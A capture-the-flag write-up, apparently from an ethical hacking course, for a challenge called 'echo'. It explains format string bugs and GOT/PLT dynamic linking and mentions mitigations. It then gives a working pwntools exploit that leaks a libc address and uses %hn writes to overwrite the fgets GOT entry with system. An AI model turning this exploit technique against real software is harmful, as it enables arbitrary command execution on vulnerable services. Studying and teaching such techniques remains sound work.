Nicola Mores, 22/05/2024

Challenge: echo

Background

This challenge is about format strings and dynamic linking. Format strings are special strings that contain normal text and also format parameters to create dynamic strings based on the provided parameters. If used in a printf(), these parameters usually read user-defined variables but can also be used to read from the stack or, if we are on a 64-bit system, from the registers used to hold function parameters, as defined by the System V calling convention [1]. In addition to that, we can also use a special format parameter, `%n`, specifying target address to which we will write the number of bytes previously printed by the printf function. Dynamic linking is a technique used to share libraries with a program, without the need to copy the entire library code inside of it. This is achieved by using two tables: The Procedure Linking Table (PLT), that is where the process jumps after a library function call. Once there, the process checks for a Global Offset Table (GOT) entry corresponding to a memory address for the function we are interested in. If it finds it, it will jump to its content, otherwise it will first resolve it and then proceed with the jump.

Vulnerability

The main vulnerability we face in this challenge arises from a (partially) uncontrolled user input, through the `fgets()` function, that will be later used in a `printf()`. This implementation can be exploited by an attacker to inject format parameters (like `%p`, `%d`, `%n`…) and use them in the printf, leading to a format string vulnerability, thus allowing the attacker to arbitrarily read and write to addresses in memory. This behavior can be exploited to modify the program's GOT, hijacking in this way the process control flow. In this case, the attack is simpler due to the absence of PIE, which causes the process to always load at the same memory address, resulting in a static GOT address. In order to prevent this type of attack, we should avoid letting the user arbitrarily use format functions and also enable the use of PIE, making it harder to use this strategy.

Solution

The function we are dealing with is a simple infinite loop in which the program receives input from the user and uses it in a `printf` function. Let's start by using checksec on the program: this will tell us that it doesn't use PIE, that the stack is non executable and that it uses ASLR (so that the library function's address will change at each execution). Knowing this and noting the previously stated vulnerabilities, we might consider using a return to-libc-attack [2]. To do so we will need to find out the GOT address and one of a useful library call, such as system [3]. To start we can try to retrieve some pointers used by the program: this can be easily done just by injecting multiple `%p`. Now we need to understand which of these interact with the libc file provided by the challenge: this can be achieved by running the process through GDB and using `info procs mapping` or `cat /proc/<proc_id>/maps`. From there, we can identify the range of addresses that interact with the libc file. Using this information, we can code a simple script [4] that leaks some addresses in that range. Using GDB we can find out which function these addresses point to, using `info symbol <addr>`. Each address we explore is calculated by adding a specific offset to a base address, univocally pointing to a library function. With the information at hand we can easily compute the base address by subtracting to one of the leaked addresses its offset, obtained using pwntools. To check if the calculated address is correct, we can once again use GDB and prompting `got`, that will show us the current GOT entries. Having done that, we only need to actually overwrite one of the GOT entries in a useful way. In our case we may want to change the entry of the `fgets` function in a way that it will point to `system`. To do so, we compute `system`'s address in the current libc, adding its offset to the base address previously calculated, and then use `%n` to properly change the entry's content. To write using the format parameter %n we will need a small snippet that compute the number of chars to print and then set up a proper payload to send to the server. After that, we can just send the payload to the server and retrieve this challenge's flag. Below is my implementation [5], providing more details on how to actually set up the code for this attack:

```python
libc = ELF("./libc.so.6")

system_libc_offset = libc.symbols["system"]
fgets_libc_offset = libc.symbols["fgets"]

got_fgets = 0x404010                                    # Since the PIE isn't active, it will be static

conn.sendlineafter(b"> ", b"%37$p")                     # Use one of the useful address previously obtained
leak = int(conn.recvline(keepends=False), 16)

# What comes after the - was obtained using info symbols <addr>
libc_base = leak - (libc.symbols["__libc_start_main"] + 137)
print(f"Libc base address: {hex(libc_base)}")

# Compute the full addresses of our target functions
system_libc_address = libc_base + system_libc_offset
fgets_libc_address = libc_base + fgets_libc_offset

print(f"fgets address: {hex(fgets_libc_address)}")
print(f"system address: {hex(system_libc_address)}")

# Setup the payload used to write in the GOT entry
new_address = str(hex(system_libc_address))
char_to_print_ls = int(new_address[-4:], 16)            # Least significant part of the address
char_to_print_ms = int(new_address[-8:-4], 16)          # Most significant part of the address
print(f"What we will print: {hex(char_to_print_ms)} - {hex(char_to_print_ls)}")

payload = b"cat flag.txt    "

# Since we need to change the whole address in one go, we have to write 4 bytes, using two %hn
# %n will count the characters printed in the printf call, so we first have to write the
# smaller half (in number of char) and then the bigger one. For the latter, we will print only an amount
# of char equal to the difference between the twos.

if(char_to_print_ms > char_to_print_ls):        # First we write the ls, then the ms
    payload += (f"%{(char_to_print_ls - len(payload))}c%12$hn").encode()        # Remove the char already printed
    payload += (f"%{(char_to_print_ms - char_to_print_ls)}c%13$hn").encode()
    payload += b" " * (8 - len(payload)%8)                                     # Makes the payload size multiple of 8
    payload += p64(got_fgets)                                                  # The two addressess we will print to: the GOT entry for the fgets function
    payload += p64(got_fgets + 2)
else:                                          # Otherwise, swap the two
    payload += (f"%{(char_to_print_ms - len(payload))}c%12$hn").encode()        # The 12$ and 13$ derives from the position of the two addresses, that are
    payload += (f"%{(char_to_print_ls - char_to_print_ms)}c%13$hn").encode()    # on the 12th and 13th position on the stack
    payload += b" " * (8 - len(payload)%8)
    payload += p64(got_fgets + 2)                                              # Having swapped the order of the pieces, we also swap the addresses
    payload += p64(got_fgets)

print(payload)

conn.sendlineafter(b'> ', payload)             # Send the payload and receive the flag

conn.recvuntil(b"U")
flag = (b"U" + conn.recvuntil(b"}")).decode()
conn.close()
print(flag)
```


[1] System V ABI Documentation:
https://wiki.osdev.org/System_V_ABI
[2] Return to libc Attack:
https://en.wikipedia.org/wiki/Return-to-libc_attack
[3] System Documentation:
https://www.tutorialspoint.com/c_standard_library/c_function_system.htm
[4] My simple snippet to retrieve useful addresses:
https://gitfront.io/r/NikoMrs/PrSpp9XjTGu2/EthicalHacking2024/blob/Assignment8/get_addresses.py
[5] My solution implementation:
https://gitfront.io/r/NikoMrs/PrSpp9XjTGu2/EthicalHacking2024/blob/Assignment8/solution.py